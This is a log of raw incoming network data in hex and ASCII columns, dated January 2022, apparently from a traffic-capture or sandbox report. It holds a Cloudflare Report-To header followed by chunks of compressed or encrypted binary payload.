2022-01-13 19:22:17 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 25 32 46 45 6c 59 4a 7a 76 34 44 6c 71 59 79 63 4f 37 33 36 72 56 31 52 47 62 59 64 46 44 55 25 32 42 74 6e 45 38 45 44 71 76 65 50 51 57 66 50 49 4e 36 6f 5a 32 6f 69 6d 4e 4c 35 42 52 6c 4e 4d 63 54 44 4f 6c 69 52 37 50 51 58 63 68 6c 69 6e 6a 34 70 76 76 25 32 42 66 50 39 67 4f 7a 69 38 58 44 7a 53 63 76 36 33 38 57 57 4b 75 71 66 31 76 46 4e 4b 36 55 37 77 33 72 6a 6f 47 4e 4c 45 79 36 34 45 4b 30 6f 74 48 33 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FElYJzv4DlqYycO736rV1RGbYdFDU%2BtnE8EDqvePQWfPIN6oZ2oimNL5BRlNMcTDOliR7PQXchlinj4pvv%2BfP9gOzi8XDzScv638WWKuqf1vFNK6U7w3rjoGNLEy64EK0otH3Q%3D%3D"}],"group":"cf-nel","max_age":
2022-01-13 19:22:17 UTC	1	IN	Data Raw: 18 da 04 39 22 f7 4a 5b f6 c6 57 ec 36 9e 95 6a 0a 39 28 89 53 db 8c ce 77 a1 05 b7 39 27 6e 03 b6 bc 46 4a 4f d3 fa c1 d4 73 af 2f 14 d5 ef a1 14 d3 f5 4f d3 ff 5d e6 22 fd 51 df 91 68 1e f2 d8 01 a4 9a f9 4b cf e2 1b 6d 90 e2 18 dc 1f 74 30 95 7c 33 1d 6c 16 c8 64 0b 49 cd ea 2f 00 30 8a de 1d 61 fa d5 fe ca 60 72 2d 0f 4d d3 eb a8 84 cb e7 ae ad 23 74 38 a3 1f 65 83 4e 55 f4 dc 17 5d f8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 08 37 28 84 c8 62 11 55 fc d1 f8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 2d 2e ac 8a c9 f7 58 Data Ascii: 9"J[W6j9(Sw9'nFJOs/O]"QhKmt0\|3ldI/0a`r-M#t8eNU]^\|;:%sI~6{=+;2.SQD 7(bU^\|;:%sI~6{=+;2.SQD -.X
2022-01-13 19:22:17 UTC	2	IN	Data Raw: 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a 04 a2 04 af b5 b0 Data Ascii: _kG\MZ]x#Lx/ThGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR
2022-01-13 19:22:17 UTC	4	IN	Data Raw: 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a Data Ascii: IX_kG\MZ]x#Lx/ThGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR
2022-01-13 19:22:17 UTC	5	IN	Data Raw: 89 d4 e3 16 58 f2 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc Data Ascii: XIX_kG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'AT
2022-01-13 19:22:17 UTC	6	IN	Data Raw: 91 51 72 a1 86 4c b9 e6 1a c1 15 d2 58 b8 39 39 ea b1 50 82 2e ad df 7a 7b 3e 2c a7 ce e6 37 c9 7e 56 2e 7f 2a 95 fc 52 df b7 80 b8 16 cc ae 52 4f b8 22 d1 cd 04 b1 be 67 ea aa 87 68 ee 23 9a 03 4f c6 3f a5 f1 4d 20 74 6c 69 19 dc 1d e0 12 4a 6f f9 d6 0d 34 0f 5a ba bd bf 28 17 7d 88 48 63 71 a4 9e 6a ee 7e 57 67 72 72 df 04 d3 a2 bc db c3 79 4a b0 fc 36 db 78 b5 65 38 5f 1a bd 8b f8 32 62 45 af 08 86 9b fd a9 37 46 d7 a5 a6 b9 7e 6f 05 59 b4 27 99 17 1b 91 59 b6 57 84 9d ed 87 0e 26 6f a6 76 01 4f 58 4a 7e bc 61 9f 98 20 cb f9 21 8f 1a 50 c7 82 20 c9 74 fc de 07 82 24 db 6f 3d d1 e7 52 ad 31 75 39 de ea d4 ea 5c 76 b5 bd f3 05 59 e6 7e 08 a9 dd 66 7c 9f 26 96 69 33 1a 1c 96 de ea 1f 00 1e b1 f1 2d d5 31 d0 14 6b 57 b8 e3 08 5e 42 1e fe c9 6f 77 8d ee 03 Data Ascii: QrLX99P.z{>,7~V.*RRO"gh#O?M tliJo4Z(}Hcqj~WgrryJ6xe8_2bE7F~oY'YW&ovOXJ~a !P t$o=R1u9\vY~f\|&i3-1kW^Bow
2022-01-13 19:22:17 UTC	8	IN	Data Raw: a8 b6 2e 0a b1 fc 72 81 10 89 69 d4 f8 41 a9 f2 b1 39 fc 80 f5 13 d3 7b 2c bc ac 5a 6c 43 04 7e ad ae 37 df 0b ca 8c 84 f0 62 94 7a b7 da 4f 98 d2 3e d6 52 d0 fc 43 f8 b9 c8 5f bf bf 8e 68 9c 0a e2 5f a5 37 6f af 6e 8f ef 3c af d1 0f 37 7c 50 14 5c e4 a1 2b 18 fa dd cb 85 e4 b6 2b 85 b0 2c 0c 23 31 71 0f cc ea bb 8f 4e 4c 52 19 6e aa 2b 95 e5 46 cb 61 19 17 60 ce fb cf 62 09 5a 92 eb e8 1c 55 72 ab ae b2 8c eb 5a 27 4f 71 32 00 a5 20 50 f2 6c 54 53 6e 92 7e a8 92 6f 19 e7 e2 2a 3d b8 28 1d bc 4a 35 70 7b 8c 4f 59 61 77 1b 3b 71 9e c6 31 96 73 33 87 43 fd 90 61 a4 f4 57 63 1d fe 2f e3 78 c3 94 d7 0d d6 9e 02 0f 7f 7d 48 1b 0e 40 37 ab b5 f8 be 35 de 4c 3f b2 3f ba cd 9a 1d 87 51 84 f5 d5 71 2d 87 29 f1 5b f8 97 40 30 1f fd cf bb 13 81 fa 96 93 99 fa 45 4a Data Ascii: .riA9{,ZlC~7bzO>RC_h_7on<7\|P\++,#1qNLRn+Fa`bZUrZ'Oq2 PlTSn~o*=(J5p{OYaw;q1s3CaWc/x}H@75L??Qq-)[@0EJ
2022-01-13 19:22:17 UTC	9	IN	Data Raw: b0 97 dc 9f 86 4d 6a 71 c6 4d 95 4e e4 a1 8d ea 84 89 00 12 96 c8 d3 6e 9d 9d 55 20 29 a5 49 a7 bc cf 66 95 f4 3d d1 ac f3 74 9a 7e a3 83 c5 45 4a c2 1c d6 ac 20 6f 12 b7 bf 53 67 d1 9e 34 1c 71 2f 55 3f e4 86 93 58 ce e1 0b c6 79 bb b3 a4 de 3c 26 60 f1 28 05 e4 7c 07 ff 31 8e 61 6c 85 b8 55 00 c7 aa 93 f9 c2 c1 5f 5e 23 31 da 57 82 42 34 0b cc 45 c9 ef 34 c4 30 15 d4 eb 30 5c 70 25 11 15 3e 2e 0f da 9a 3d 28 81 98 bc 79 3b a2 00 a8 99 9c 76 22 b6 cb 71 25 f6 43 aa 86 c3 15 09 87 b4 27 f4 49 8c 96 bc 94 ba 28 7b 2d 95 e1 78 7e 7c 19 1e d1 0c 45 4d 59 97 f0 af 8a 8f 5e 8b db 1f fe a5 bb 6b 8a 87 3f d1 67 03 25 1a 39 fa 5a 20 9e 6d 19 c9 71 d8 e6 c3 be 13 7d 55 69 05 24 41 0e fc c9 a4 a9 14 5f 67 1b c0 0f 06 e7 e3 b1 30 11 df 07 84 e5 8a 3a f7 24 f5 d4 e1 Data Ascii: MjqMNnU )If=t~EJ oSg4q/U?Xy<&`(\|1alU_^#1WB4E400\p%>.=(y;v"q%C'I({-x~\|EMY^k?g%9Z mq}Ui$A_g0:$
2022-01-13 19:22:17 UTC	10	IN	Data Raw: 01 fe b2 30 01 3c 39 f5 27 95 ee 62 3f bc c1 54 ed c7 00 9a de 51 e5 2b 9e 09 2a ac f1 ce 6d cf c4 db 10 4b 5a e7 24 7a be 18 e5 31 9a 74 b6 a9 a6 53 b0 f7 77 22 65 12 4e ed 22 51 03 e9 cb 75 25 f2 55 43 63 0c 5c 36 ef 4c d9 1a 6a fe 09 84 63 cd dc f6 5f 71 27 50 c5 fa 97 2b 6d 60 f7 dc 8f 47 27 0a 31 4e 38 42 2e 1d ea 3e 53 4c 78 75 ce 89 d1 77 3a a6 27 56 fc 92 da e7 2f 82 50 83 de 8a f5 0e fd be c4 c6 ce 49 46 78 d6 5a 5a 16 4d 5d 7a 6b 05 64 6a 5a 5e 76 be da 87 cf d0 bf 13 11 7c 31 9e 10 5c 99 95 a2 c6 1b 55 e0 8c 49 54 f5 6a 6e 20 b5 0c b9 4c dc 86 b6 37 85 6d da 65 8d e4 b4 28 d0 f6 ac 15 0c a5 7c b2 2c 1f 56 21 c8 58 29 3a 99 eb 2c 0e 88 fd b3 23 29 6f f0 ba ce e7 27 a9 59 35 42 d5 94 61 77 26 32 28 03 38 fb 6a 7b 32 19 d3 71 4f 3b e6 7f 77 4f 5e Data Ascii: 0<9'b?TQ+*mKZ$z1tSw"eN"Qu%UCc\6Ljc_q'P+m`G'1N8B.>SLxuw:'V/PIFxZZM]zkdjZ^v\|1\UITjn L7me(\|,V!X):,#)o'Y5Baw&2(8j{2qO;wO^
2022-01-13 19:22:17 UTC	12	IN	Data Raw: 3f 4e 01 98 0b d6 9e 19 5a 3d 17 86 8d 5a 89 c0 df 08 22 56 0b c4 1d 54 86 57 69 1a bb 6a 3f 90 bf f3 ae 3b ac 3b dd 30 8e 9c dd ff ad a7 8d fc e2 39 bb 51 8d 56 1c 62 9d 91 f6 6f 1f 55 ad 17 5c f1 3c 23 98 01 11 7a 6b fd 53 5f 6d 14 d1 6d 86 3a eb 85 4e c2 c4 dc 25 c9 81 86 9d 2c 8b c0 dc 9a 9c d8 9a c4 12 a2 fc 52 cf 60 87 3c ea 8d 2a b6 cb 63 17 d6 bc dd b6 11 10 a1 31 9d 93 e1 3e e5 12 ed eb da 67 09 2d 8b be 61 35 74 70 48 74 ad b4 26 b7 c9 e2 5d b2 83 79 38 2a 05 84 24 3a 93 28 f0 c6 dd 1d e3 1d e3 43 1a be 70 da 9f 82 4a 97 7f 21 e8 7c 56 b8 2e 13 c1 17 96 c5 55 a5 2e 5a ec bf 44 b9 fc 21 e0 4e 6e cd 6a 80 51 13 bc 80 81 1b 0f 96 61 71 29 ed 1b d1 e6 6a 62 cc ef 2f 84 c0 b9 38 38 fb 7c fe 53 4a dc e7 cb 59 25 3b 10 00 a7 84 5b d3 3a 1d 71 e6 0a e3 Data Ascii: ?NZ=Z"VTWij?;;09QVboU\<#zkS_mm:N%,R`<c1>g-a5tpHt&]y8$:(CpJ!\|V.U.ZD!NnjQaq)jb/88\|SJY%;[:q
2022-01-13 19:22:17 UTC	13	IN	Data Raw: 54 96 94 64 41 98 0c fa 64 83 c6 c2 c9 b7 69 76 19 e0 8d ee aa 3d d5 63 a1 79 52 7f 83 be 6c 7a bc 65 03 f3 f3 b9 b1 9f 88 42 33 87 10 84 3e 8c 63 14 45 45 5b 19 dd 87 20 14 cd 2e 67 a8 01 f6 7f b4 c6 e3 10 40 37 a6 d8 40 5e 12 6f 15 cc f6 59 1c 70 0a 4c ad 0e 18 2d 2c 07 ea 8f 95 44 1c 79 3f b9 4b 9d 54 98 94 55 62 82 50 d6 e0 90 c0 26 15 42 6a e6 36 1c a6 2c 71 c9 41 a9 80 4d 53 84 96 1d 59 54 ee b0 23 f5 a0 1c f2 c5 3b 3b 1c 04 1c 77 fd f9 a5 76 84 50 c9 66 9d 5f bb 3d 1a 4f 5e f9 cf 75 5a e5 ca 6a fc 4a c3 54 e6 08 eb 5e 9d 6d 65 19 c0 d4 55 20 0a 31 a7 03 6e ec 52 24 03 51 84 ec df 17 aa 2a 0c 81 e3 75 bf 7c 61 66 f7 7e 90 74 b5 ab a1 26 97 60 e6 1f d2 f9 cb 6a 80 cf 5b d3 56 23 f1 5c 18 66 89 de 96 6c 3a 44 9a 63 e9 15 db 0b c9 63 cc c0 ac a4 31 37 Data Ascii: TdAdiv=cyRlzeB3>cEE[ .g@7@^oYpL-,Dy?KTUbP&Bj6,qAMSYT#;;wvPf_=O^uZjJT^meU 1nR$Q*u\|af~t&`j[V#\fl:Dcc17
2022-01-13 19:22:17 UTC	14	IN	Data Raw: de 48 18 36 ec b2 94 3d b8 fb dd 66 35 b6 26 7a b5 a4 91 bf e6 bf e1 5d 7c 47 15 bf e8 54 e0 46 d2 81 75 04 b3 b9 4f 52 7d ce 36 18 82 44 46 1a 57 01 98 52 d8 89 cc f3 5b 26 de 84 81 e0 f1 c8 f9 67 48 c5 bf 71 25 f7 d5 65 a3 c8 7a ba 0b 03 45 cb 64 2e 49 47 95 f3 b2 80 7a b4 37 bc cc 19 51 f8 57 94 e2 f1 a8 97 e8 04 4d 4f 94 7a d2 4e f0 ac 2a 1c 60 58 aa f5 dc 17 29 8d 2c 07 43 0c 7e b3 a5 84 42 9e fd 0c 57 aa 04 c3 91 d7 7c 05 04 26 fe 49 a0 22 72 a2 0e 54 71 a2 d5 74 75 f3 b9 cb 5b db 83 c5 92 62 e8 14 74 ad bc d1 74 21 b0 ec b5 0e 81 b4 c7 20 7a b1 54 85 65 5b 7b 5b 9b 68 91 f8 45 a0 11 10 44 5f c9 41 b1 b9 4b 47 ed be 1f f6 f4 79 25 f4 4c d1 aa 1a 0a 19 f1 ed 26 12 f5 fa 5e fc 5a f2 d1 38 c4 c4 6e b6 22 68 98 77 d3 75 b9 1a 7c 78 a0 6a 79 1a 68 88 53 Data Ascii: H6=f5&z]\|GTFuOR}6DFWR[&gHq%ezEd.IGz7QWMOzN*`X),C~BW\|&I"rTqtu[btt! zTe[{[hED_AKGy%L&^Z8n"hwu\|xjyhS
2022-01-13 19:22:17 UTC	16	IN	Data Raw: 7b 64 47 ef 24 c5 d0 91 06 e4 a3 82 4b a6 a5 ef 88 00 a6 1f fe f6 2d eb ad 3b b8 41 bc d1 f7 fe c4 30 62 3a 47 5a f1 54 4a 26 7c 1f 54 11 bc d4 f3 a0 0c bf fb ca ee 2e b9 be bd 45 5b fa 72 1c b9 2a e0 e0 8d a1 c3 fd 65 75 bc da 2b 68 fa 4a 69 ae 41 b1 56 9b aa 93 58 61 0e 57 03 62 0f 03 37 ac 24 6a 3a 72 a3 96 69 b3 09 3e c1 a3 9a 05 67 1b 15 91 f4 4c 96 18 bc 7a 73 6b 17 4f ee d9 9e 44 3b 6d 1d 95 41 11 79 59 78 cd fe 18 44 93 97 f7 ce ea d4 68 6b 75 8d ee 0f 6c 26 06 57 d0 8d fe 0a 69 86 29 8d 00 43 44 46 c4 d5 d5 d1 19 95 f8 56 9d e2 e7 23 cd 2c 0d c3 cd 17 30 ce 84 bc de 6b 51 bc 5e 6a 2d e2 82 40 de 2b 3f 51 e8 4d 17 26 2d 46 7d a1 c1 48 d9 05 29 93 e3 01 5d 10 56 f5 61 d8 f2 22 6d 13 86 51 3c 8c e6 c0 a3 c1 51 69 b8 26 67 5e f7 9a 60 ea e6 ad a4 f9 Data Ascii: {dG$K-;A0b:GZTJ&\|T.E[r*eu+hJiAVXaWb7$j:ri>gLzskOD;mAyYxDhkul&Wi)CDFV#,0kQ^j-@+?QM&-F}H)]Va"mQ<Qi&g^`
2022-01-13 19:22:17 UTC	17	IN	Data Raw: e3 1c 28 66 16 cf 2e 1a 6f 13 af 20 4c ad 7c 0c 96 07 3b 1a 7a 74 4a 1c 0f c1 1c 60 38 93 32 a6 05 6b 11 13 6f d3 2a 18 1f fe 97 4c 0a e0 98 3f bf 85 25 c7 2f 8c 37 a2 d7 e9 10 05 3a 7a b4 f8 a2 31 cb 71 79 3e ed 82 7f 9f 91 a0 1b b6 a9 2f ab a7 ec fc 48 dd ad 67 8a 1a 6e 37 46 9a 6e 93 f8 14 3a 43 bc 81 2c 05 32 f9 0f ce 5c 13 6b 5d 65 0d d4 9b 92 76 a6 44 3c 36 8f 8b 0c 39 b1 c8 50 d6 9f 67 d6 e4 be 13 be 67 ed e0 e2 31 0f 99 e1 1b f6 36 16 b3 5a ed 33 32 b5 00 d3 72 a4 13 39 6d 13 b7 a5 2c e8 ba d7 a5 05 24 7a a2 1c cc d9 c7 81 c3 56 e9 48 9a ec 0e dc 1d 09 a3 8a 2d 3f a3 93 f4 9c 5e 6d a3 09 70 cb 77 31 8c c0 3d e9 22 6d 0a df b6 83 50 bd 24 65 8c fc 52 c6 30 da f0 5e 36 5d 31 74 d3 74 c8 49 3e 91 be c6 c0 d1 72 04 59 35 85 c9 70 c5 19 c7 f5 20 fc 3d Data Ascii: (f.o L\|;ztJ`82ko*L?%/7:z1qy>/Hgn7Fn:C,2\k]evD<69Pgg16Z32r9m,$zVH-?^mpw1="mP$eR0^6]1ttI>rY5p =
2022-01-13 19:22:17 UTC	18	IN	Data Raw: 0e 55 7c b5 2f d4 85 86 55 37 a8 fc c1 14 5b 7f d0 8f 98 7a b8 61 7e ac 85 76 f3 c9 6f 0d a9 8e 17 53 5d 6a ca f4 da 69 68 f5 50 73 71 31 9a 60 95 f5 0c ca e6 ad e0 ed 71 22 61 19 83 c9 7b 4f 81 1d 51 8e e4 c9 c3 f6 16 4e ca e2 e5 28 8c af b3 b2 a9 3b 17 91 f4 56 e1 a7 43 a2 63 1f 75 8b d4 fd 80 5b db e9 f6 3b 31 32 4b 42 2f 92 08 bc 8b 56 e7 3b ff d5 32 7f 50 79 7b 33 84 52 bc b5 2c 9f 75 48 c8 fa ff 1c e9 4a d5 6d 1d 7d 37 a1 88 e7 f8 cc 0e 96 3c 5e bd 06 6c 90 79 37 a6 4a 61 46 85 11 89 35 0e fe 12 46 cc f7 9f 9a 0f 00 42 60 f0 af b9 41 a3 29 07 30 13 73 8f ab b7 ab af d3 eb 9b e8 a0 02 b2 53 5d 33 2e 13 cd c9 d3 3c 3f a0 1d b1 a9 f8 4e fb 39 a7 90 c1 fe 19 d9 0d c2 b5 0e 9a 0f a2 0c 6d 5e ff d2 ad 97 71 1b 93 b7 a4 46 c9 1b 84 50 bb 21 e9 3f 09 e5 d7 Data Ascii: U\|/U7[za~voS]jihPsq1`q"a{OQN(;VCcu[;12KB/V;2Py{3R,uHJm}7<^ly7JaF5FB`A)0sS]3.<?N9m^qFP!?
2022-01-13 19:22:17 UTC	20	IN	Data Raw: 4d f8 2d 49 24 d1 ce 13 a8 58 f9 86 50 91 ec e1 17 8c 43 f5 c7 2a 1b 77 b2 d9 19 c3 58 9a 3a 24 63 36 b2 08 eb fb 52 1b 44 07 7a 66 5d 1c 0b 9f 1c 0e df 14 32 8e 2e 6a c7 69 77 3f 6e 02 a2 0b 39 7a 0a 79 52 3c 99 e6 d6 93 ef 75 a0 62 10 a4 02 dc 94 7c 1e 83 29 ff cd 6c 05 84 53 3b a2 03 b8 d2 13 ad a5 9d 95 67 a8 04 b6 88 8b cd b7 b6 23 f7 d1 24 28 de c3 18 55 4e 94 07 41 fb c8 99 fb b0 b5 b5 0a b8 4f 5a ec aa 4b df 4d 20 2b 6e ae 44 d7 ff d0 f5 c2 7f 37 d2 1c 78 c0 68 ff c1 42 39 de 61 4b 06 b3 ab ba d8 ea 0f 24 66 8a 50 d6 00 8e 11 19 33 91 6a 91 18 40 f2 a8 13 97 f0 fb dc df b7 55 71 77 bd d2 ec bc c3 5f 73 0b 9f 91 e1 94 49 05 37 a1 90 7a cc 75 b1 91 f9 d1 65 64 db a6 ba e6 a7 9c 07 2d 4b 10 54 ee 27 a9 e8 e5 2d dd 08 24 c2 c9 79 22 62 ea d6 9a a9 c5 Data Ascii: M-I$XPC*wX:$c6RDzf]2.jiw?n9zyR<ub\|)lS;g#$(UNAOZKM +nD7xhB9aK$fP3j@Uqw_sI7zued-KT'-$y"b
2022-01-13 19:22:17 UTC	21	IN	Data Raw: 6c 91 e5 36 5a f4 b4 30 d3 c9 26 79 3e 2c 57 67 5c f1 fa e4 e5 34 19 cd 30 10 1c 67 d5 91 b7 a8 0f d5 30 01 63 0f 15 79 b9 51 58 ed 46 c5 3b b6 ef de 13 c3 5c e5 6f 13 84 51 9d 36 a6 4c ce b2 32 d9 e1 a2 40 30 57 74 61 96 b2 67 0c a7 90 b0 ca 32 56 e9 63 1b 35 72 6f 4d 5e a6 0e 86 e4 77 71 2c 5a f2 8f 0e 91 a4 1d a9 9c ce 1b 2f de 8b 85 c9 b8 8a 88 15 ce bd 50 13 34 c2 84 4f 17 c6 07 d9 36 91 f6 08 b3 e6 3f 5d 48 8a cd c5 16 4b 4e c2 cb a6 4a d7 1a 38 38 70 af 00 00 e1 0a b2 2c 7a df 03 e4 ef 28 03 7a b5 11 aa 3c 52 49 a3 d7 00 be cc 84 52 62 d6 9c 13 4f f6 1d fc 5a fb ac 42 21 19 c7 69 1e cb c8 a0 1a 77 22 20 7e b5 bb 42 5e f1 c3 0d dd 19 8b c4 94 6e 35 77 7a a5 88 44 58 96 7d 60 ae 20 6b ba 06 04 f1 34 b5 0f 0a c2 75 b5 e0 9d 8b da f4 41 01 6d 18 4c 82 Data Ascii: l6Z0&y>,Wg\40g0cyQXF;\oQ6L2@0Wtag2Vc5roM^wq,Z/P4O6?]HKNJ88p,z(z<RIRbOZB!iw" ~B^n5wzDX}` k4uAmL
2022-01-13 19:22:17 UTC	22	IN	Data Raw: af cd d4 0f cd 76 a8 a4 19 8e 3f d1 ca e8 e9 6c 6f ff 54 b6 03 6a 83 af f3 d9 5f 29 8e 7f 2e cb 14 e5 fe 40 dc 53 41 59 aa 31 2a 02 b2 48 72 97 fb db 1f 40 50 bd 40 60 e1 0b cb 83 d9 b6 6f 6b fe e7 6b db 58 98 1f bc dc 72 e1 1e 60 0c 88 2a eb fb a9 72 6b 7e 0f 07 47 51 7f 28 18 e5 7e d3 83 32 a7 98 16 ec e5 2c 1a 7c ab 48 d8 9c 0f 7a bd e8 d8 32 f5 de 95 f5 76 18 33 24 08 ba de 9e ee 55 1f 5a 53 42 24 7e 51 38 44 91 19 db 1f fd 32 52 be 70 4f 4e db 14 ba 8c 3c c6 52 ce ec ad 40 4c ab 11 98 74 b6 25 1c 18 38 cd 29 8e 72 a8 f1 fe 25 10 0d d7 04 b0 9c 34 6a 23 93 f1 2d 96 c3 71 41 54 5c e7 35 92 82 5c 83 7b de 93 e5 26 d3 73 5b 9e aa 26 70 ab 4f 54 9f 67 81 c2 c5 4c 3f b8 42 d3 fa 46 de 82 aa 31 fa b8 ba c2 df 19 31 92 27 88 4e bc dc 9e 06 5e e0 3a 6a 99 14 Data Ascii: v?loTj_).@SAY1Hr@P@`okkXr`rk~GQ(~2,\|Hz2v3$UZSB$~Q8D2RpON<R@Lt%8)r%4j#-qAT\5\{&s[&pOTgL?BF11'N^:j
2022-01-13 19:22:17 UTC	24	IN	Data Raw: da fe 40 31 fb 0d 7a 8f 85 89 61 c7 a2 e0 bf 3d 90 63 ee 76 4e ca 25 96 e7 17 05 df 1a 31 57 d7 0f 16 b2 1f b7 d9 39 4f 8e d9 27 bc 5b 03 c6 0a 57 4c 48 49 3d 78 7a 5b 4f 0d ec 23 9f 5c 46 cd 3a ea 5c 5a 3a 90 73 69 60 90 80 8c bb 46 1b d8 35 8f 29 35 9f 27 a0 3b a2 0e 76 e9 2f 99 bb 39 33 7c 9b 97 63 97 d6 e0 81 c3 25 e0 54 b9 53 42 79 49 db b0 33 fc e4 6f 0f b5 ab ba a5 8a f4 03 3e 3b 46 05 bd 17 84 0d 6a b4 68 51 5d 64 5c ea 74 a7 ae 30 0b d8 e2 0c 42 83 d5 1f 84 dd 51 2d 1e 86 4e bb 5a f0 ee 43 b7 f6 55 3f 24 f7 cd c8 16 48 d9 3b 3b 14 5f 19 75 b9 21 90 69 1f 7f 69 02 d6 82 54 9e 5c 97 a1 1c 8c 71 45 5d 76 cf 7a 88 e7 e6 ec fe fa ef 2c a1 e6 f0 c6 d9 a7 ee c7 c8 59 01 2d a4 80 a1 f2 ee 56 f2 3a b0 cd 15 b0 3c 30 be 62 b8 40 33 90 0f 98 7f e5 c7 7e b3 Data Ascii: @1za=cvN%1W9O'[WLHI=xz[O#\F:\Z:si`F5)5';v/93\|c%TSByI3o>;FjhQ]d\t0BQ-NZCU?$H;;_u!iiT\qE]vz,Y-V:<0b@3~
2022-01-13 19:22:17 UTC	25	IN	Data Raw: 27 a1 22 5a ac ff 9f 73 fc 0d 60 c0 94 b5 be 48 a7 dd 58 ed 7a fd 0f bf 40 4e 08 7c dc e3 b3 ba 28 13 a4 49 e3 90 1f 05 f1 8c 6b 78 b0 91 88 bb 43 a6 0b d3 d4 21 dd a2 15 d3 7e c4 7a 20 5c 4e d7 18 31 7c 81 db 09 22 99 4a 3d b2 4c 37 94 70 be c4 68 38 49 44 4f e7 e8 b5 b6 38 5d d4 bb 26 3e 20 27 82 29 ea ad ad ad ad bc 29 4a a5 78 77 78 55 f2 f8 f6 7d 5b 7c 2c e4 f2 3f b1 b8 9b 18 a8 5c 92 c6 33 da e0 92 73 3c c9 64 8b c9 d3 bc b0 c7 be 83 a3 cc 93 f1 65 09 26 62 31 4a af 10 88 0b be 8a 03 e7 cc 4f ef 2b 9b e1 17 db 09 6b f5 e0 d7 d6 7f c0 93 ba bc af d3 60 65 1d e8 b4 da 52 a2 b7 64 cf 26 31 64 18 b9 83 81 a8 18 a8 4f 4d 4f fd 7c 2c 7d 3a 29 c4 06 3e 2b 43 4d 88 11 9c 